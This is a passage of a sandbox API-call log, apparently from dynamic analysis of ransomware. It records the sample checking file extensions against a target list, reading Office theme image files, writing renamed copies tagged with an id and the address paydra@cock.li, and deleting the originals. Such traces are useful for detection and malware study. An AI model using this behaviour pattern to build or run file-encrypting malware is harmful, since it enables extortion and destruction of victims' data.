4 [0046.295] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.295] lstrlenW (lpString=".7z") returned 3 [0046.295] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.295] lstrlenW (lpString=".dbf") returned 4 [0046.295] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.295] lstrlenW (lpString=".1cd") returned 4 [0046.295] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.295] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.295] lstrlenW (lpString=".jpg") returned 4 [0046.295] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.296] lstrlenW (lpString=".doc") returned 4 [0046.296] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.296] lstrlenW (lpString=".docx") returned 5 [0046.296] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.296] lstrlenW (lpString=".pdf") returned 4 [0046.296] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.296] lstrlenW (lpString=".xls") returned 4 [0046.296] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.296] lstrlenW (lpString=".xlsx") returned 5 [0046.296] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.296] lstrlenW (lpString=".ppt") returned 4 [0046.296] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.296] lstrlenW (lpString=".zip") returned 4 [0046.296] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.296] lstrlenW (lpString=".rar") returned 4 [0046.296] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.296] lstrlenW (lpString=".bz2") returned 4 [0046.296] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.296] lstrlenW (lpString=".7z") returned 3 [0046.296] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.296] lstrlenW (lpString=".dbf") returned 4 [0046.296] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.296] lstrlenW (lpString=".1cd") returned 4 [0046.296] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.296] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\PREVIEW.GIF") returned 74 [0046.296] lstrlenW (lpString=".jpg") returned 4 [0046.296] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.297] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.297] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.297] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=19563) returned 1 [0046.297] CloseHandle (hObject=0x1a8) returned 1 [0046.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 0x20 [0046.297] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.297] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.297] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.297] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.298] GetLastError () returned 0x0 [0046.298] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x4c6b, lpOverlapped=0x0) returned 1 [0046.306] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x4c70, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x4c70, lpOverlapped=0x0) returned 1 [0046.307] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.307] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.307] SetEndOfFile (hFile=0x160) returned 1 [0046.308] CloseHandle (hObject=0x160) returned 1 [0046.308] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.308] SetEndOfFile (hFile=0x1a8) returned 1 [0046.309] CloseHandle (hObject=0x1a8) returned 1 [0046.309] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.309] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\radial\\thmbnail.png")) returned 1 [0046.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.309] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.309] lstrlenW (lpString=".doc") returned 4 [0046.309] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.309] lstrlenW (lpString=".docx") returned 5 [0046.309] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.309] lstrlenW (lpString=".pdf") returned 4 [0046.309] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.309] lstrlenW (lpString=".xls") returned 4 [0046.309] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.309] lstrlenW (lpString=".xlsx") returned 5 [0046.309] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.310] lstrlenW (lpString=".ppt") returned 4 [0046.310] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.310] lstrlenW (lpString=".zip") returned 4 [0046.310] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.310] lstrlenW (lpString=".rar") returned 4 [0046.310] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.310] lstrlenW (lpString=".bz2") returned 4 [0046.310] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.310] lstrlenW (lpString=".7z") returned 3 [0046.310] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.310] lstrlenW (lpString=".dbf") returned 4 [0046.310] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.310] lstrlenW (lpString=".1cd") returned 4 [0046.310] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.310] lstrlenW (lpString=".jpg") returned 4 [0046.310] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.310] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.310] lstrlenW (lpString=".doc") returned 4 [0046.310] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.310] lstrlenW (lpString=".docx") returned 5 [0046.310] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.310] lstrlenW (lpString=".pdf") returned 4 [0046.310] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.310] lstrlenW (lpString=".xls") returned 4 [0046.310] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.310] lstrlenW (lpString=".xlsx") returned 5 [0046.310] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.311] lstrlenW (lpString=".ppt") returned 4 [0046.311] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.311] lstrlenW (lpString=".zip") returned 4 [0046.311] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.311] lstrlenW (lpString=".rar") returned 4 [0046.311] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.311] lstrlenW (lpString=".bz2") returned 4 [0046.311] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.311] lstrlenW (lpString=".7z") returned 3 [0046.311] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0046.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.311] lstrlenW (lpString=".dbf") returned 4 [0046.311] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0046.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.311] lstrlenW (lpString=".1cd") returned 4 [0046.311] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0046.311] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RADIAL\\THMBNAIL.PNG") returned 75 [0046.311] lstrlenW (lpString=".jpg") returned 4 [0046.311] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0046.311] lstrcmpiW (lpString1=".GIF", lpString2=".html") returned -1 [0046.311] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0046.311] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.312] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=1423) returned 1 [0046.312] CloseHandle (hObject=0x1a8) returned 1 [0046.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 0x20 [0046.312] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.312] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.312] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.312] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.314] GetLastError () returned 0x0 [0046.314] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x58f, lpOverlapped=0x0) returned 1 [0046.316] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x590, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x590, lpOverlapped=0x0) returned 1 [0046.317] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.317] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xea, lpOverlapped=0x0) returned 1 [0046.317] SetEndOfFile (hFile=0x160) returned 1 [0046.317] CloseHandle (hObject=0x160) returned 1 [0046.318] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.318] SetEndOfFile (hFile=0x1a8) returned 1 [0046.318] CloseHandle (hObject=0x1a8) returned 1 [0046.318] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.319] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\preview.gif")) returned 1 [0046.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.319] lstrlenW (lpString=".doc") returned 4 [0046.319] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.319] lstrlenW (lpString=".docx") returned 5 [0046.319] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.319] lstrlenW (lpString=".pdf") returned 4 [0046.319] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.319] lstrlenW (lpString=".xls") returned 4 [0046.319] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.319] lstrlenW (lpString=".xlsx") returned 5 [0046.319] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.319] lstrlenW (lpString=".ppt") returned 4 [0046.319] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.319] lstrlenW (lpString=".zip") returned 4 [0046.319] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.319] lstrlenW (lpString=".rar") returned 4 [0046.319] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.319] lstrlenW (lpString=".bz2") returned 4 [0046.319] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.319] lstrlenW (lpString=".7z") returned 3 [0046.319] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.319] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.319] lstrlenW (lpString=".dbf") returned 4 [0046.320] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.320] lstrlenW (lpString=".1cd") returned 4 [0046.320] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.320] lstrlenW (lpString=".jpg") returned 4 [0046.320] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.320] lstrlenW (lpString=".doc") returned 4 [0046.320] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.320] lstrlenW (lpString=".docx") returned 5 [0046.320] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0046.320] lstrlenW (lpString=".pdf") returned 4 [0046.320] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.320] lstrlenW (lpString=".xls") returned 4 [0046.320] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.320] lstrlenW (lpString=".xlsx") returned 5 [0046.320] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0046.320] lstrlenW (lpString=".ppt") returned 4 [0046.320] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.320] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.320] lstrlenW (lpString=".zip") returned 4 [0046.320] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.320] lstrlenW (lpString=".rar") returned 4 [0046.320] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.320] lstrlenW (lpString=".bz2") returned 4 [0046.320] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.320] lstrlenW (lpString=".7z") returned 3 [0046.321] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.321] lstrlenW (lpString=".dbf") returned 4 [0046.321] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.321] lstrlenW (lpString=".1cd") returned 4 [0046.321] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.321] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0046.321] lstrlenW (lpString=".jpg") returned 4 [0046.321] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.321] lstrcmpiW (lpString1=".PNG", lpString2=".html") returned 1 [0046.321] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0046.321] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.321] GetFileSizeEx (in: hFile=0x1a8, lpFileSize=0x2c5ff1c | out: lpFileSize=0x2c5ff1c*=15737) returned 1 [0046.321] CloseHandle (hObject=0x1a8) returned 1 [0046.321] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 0x20 [0046.322] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[paydra@cock.li].html")) returned 0xffffffff [0046.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a8 [0046.322] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.322] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.322] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png.id-9c354b42.[paydra@cock.li].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x160 [0046.322] GetLastError () returned 0x0 [0046.322] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x3d79, lpOverlapped=0x0) returned 1 [0046.324] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0x3d80, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0x3d80, lpOverlapped=0x0) returned 1 [0046.325] ReadFile (in: hFile=0x1a8, lpBuffer=0x3740020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c5fed4, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesRead=0x2c5fed4*=0x0, lpOverlapped=0x0) returned 1 [0046.325] WriteFile (in: hFile=0x160, lpBuffer=0x3740020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c5fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3740020*, lpNumberOfBytesWritten=0x2c5fc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.326] SetEndOfFile (hFile=0x160) returned 1 [0046.326] CloseHandle (hObject=0x160) returned 1 [0046.326] SetFilePointerEx (in: hFile=0x1a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c5fec8 | out: lpNewFilePointer=0x0) returned 1 [0046.326] SetEndOfFile (hFile=0x1a8) returned 1 [0046.326] CloseHandle (hObject=0x1a8) returned 1 [0046.327] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG.id-9C354B42.[paydra@cock.li].html", dwFileAttributes=0x20) returned 1 [0046.327] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\refined\\thmbnail.png")) returned 1 [0046.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.327] lstrlenW (lpString=".doc") returned 4 [0046.327] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0046.327] lstrlenW (lpString=".docx") returned 5 [0046.327] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0046.327] lstrlenW (lpString=".pdf") returned 4 [0046.327] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0046.327] lstrlenW (lpString=".xls") returned 4 [0046.327] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0046.327] lstrlenW (lpString=".xlsx") returned 5 [0046.327] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0046.327] lstrlenW (lpString=".ppt") returned 4 [0046.327] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0046.327] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\THMBNAIL.PNG") returned 76 [0046.327] lstrlenW (lpString=".zip") returned 4 [0046.327] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0046.327] lstrlenW (lpString=".rar") returned 4 [0046.328] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0046.328] lstrlenW (lpString=".bz2") returned 4 [0046.328] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0046.328] lstrlenW 